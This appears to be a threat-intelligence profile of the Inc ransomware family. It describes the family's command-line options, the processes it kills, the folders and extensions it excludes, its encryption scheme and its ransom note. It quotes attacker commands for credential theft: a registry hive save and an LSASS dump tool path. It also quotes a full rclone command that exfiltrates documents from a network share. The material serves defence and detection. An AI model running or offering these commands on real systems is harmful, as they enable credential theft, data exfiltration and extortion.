Ransom:Win32/Inc.MA!MTB

Specific commands used for credential acquisition and data exfiltration:

• Credential acquisition: C:\Windows\system32\taskmgr.exe" /4 reg save HKLM\SYSTEM C:\ProgramData\sys
• Rclone exfiltration path: C:\windows\appcompat\rclone.exe --config c:/windows/appcompat/conf2.txt copy \\[compromised network share]\d$\DATA\ local:[identifier]--ignore-case --ignore-existing --auto-confirm --multi-thread-streams 20 --transfers 20 --checkers 20 --tpslimit 20 --include *.docx --include *.docm --include *.pdf --include *.pptx --include *.xls --include *.xlsx --include *.ppt --include *.txt --include *.pptx --include *.doc --include *.csv --include *.jpeg --include *.jpg --include .msg --max-size 1000M --max-age ****
• LSASS/ProcDump: C:\ProgramData\util.exe
• Ransom:Win32/Inc.MA!MTB supports various arguments to suit the threat actor’s preferences.

Here is the help information for the arguments supported:

C:\Users\IEUser\Desktop>inc.exe --help

USAGE: inc.exe [ARGUMENTS]

ARGUMENTS:

  --file <FILE>     Encrypt only selected file

  --dir <DIRECTORY>   Encrypt only selected directory

  --mode <MODE>     Choose mode for file encryption (fast, medium, slow)

  --ens         Encrypt network shares

  --lhd         Load hidden drives

  --sup         Stop using process

  --hide        Hide console window

  --kill        Kill processes/services by mask

  --debug        Enable debug mode

  --help        Display this message

Ransom:Win32/Inc.MA!MTB terminates the following processes:

• sql
• veeam
• backup
• exchange
• java

Ransom:Win32/Inc.MA!MTB avoids encrypting files in the following folders:

• Microsoft SQL Server
• Windows
• Program Files
• Program Files (x86)
• $RECYCLE.BIN
• AppData

Ransom:Win32/Inc.MA!MTB avoids encrypting files with the following extensions:

• .exe
• .msi
• .dll
• .inc

Ransom:Win32/Inc.MA!MTB uses Curve25519 and AES algorithms to encrypt files.

Encrypted files have the .INC extension.

It generates ransom notes in .html and .txt formats.

The note says that your data has been stolen and encrypted, and that they will publish it on the dark web if you don't pay a ransom. They also claim that they are not a politically motivated group and that they just want money.

 Here are some of the key points from the ransom note:

• Your data is stolen and encrypted.
• The threat actors will publish your data on the dark web if you don't pay a ransom.
• The threat actors claim that they are not politically motivated and that they just want money.
• The threat actors offer to provide you with decryption software and destroy your stolen data if you pay the ransom.
• The threat actors warn you not to delete or modify the encrypted files, or it will lead to problems with decryption.
• The threat actors warn you not to go to the police or the FBI for help, because they won't help you.
• The threat actors warn you not to go to recovery companies, because they are just middlemen who will make money off you and cheat you.

Here are the key details of the note:

• They claim to have stolen and encrypted your data.
• They will publish your data on the dark web if you don't pay a ransom.
• They offer a decryption tool and promise to destroy your data after you pay.
• They tell you to contact them on the Tor dark web using your personal ID.
• They warn you not to delete or modify the encrypted files.
• They discourage you from going to the police, FBI, or a data recovery company.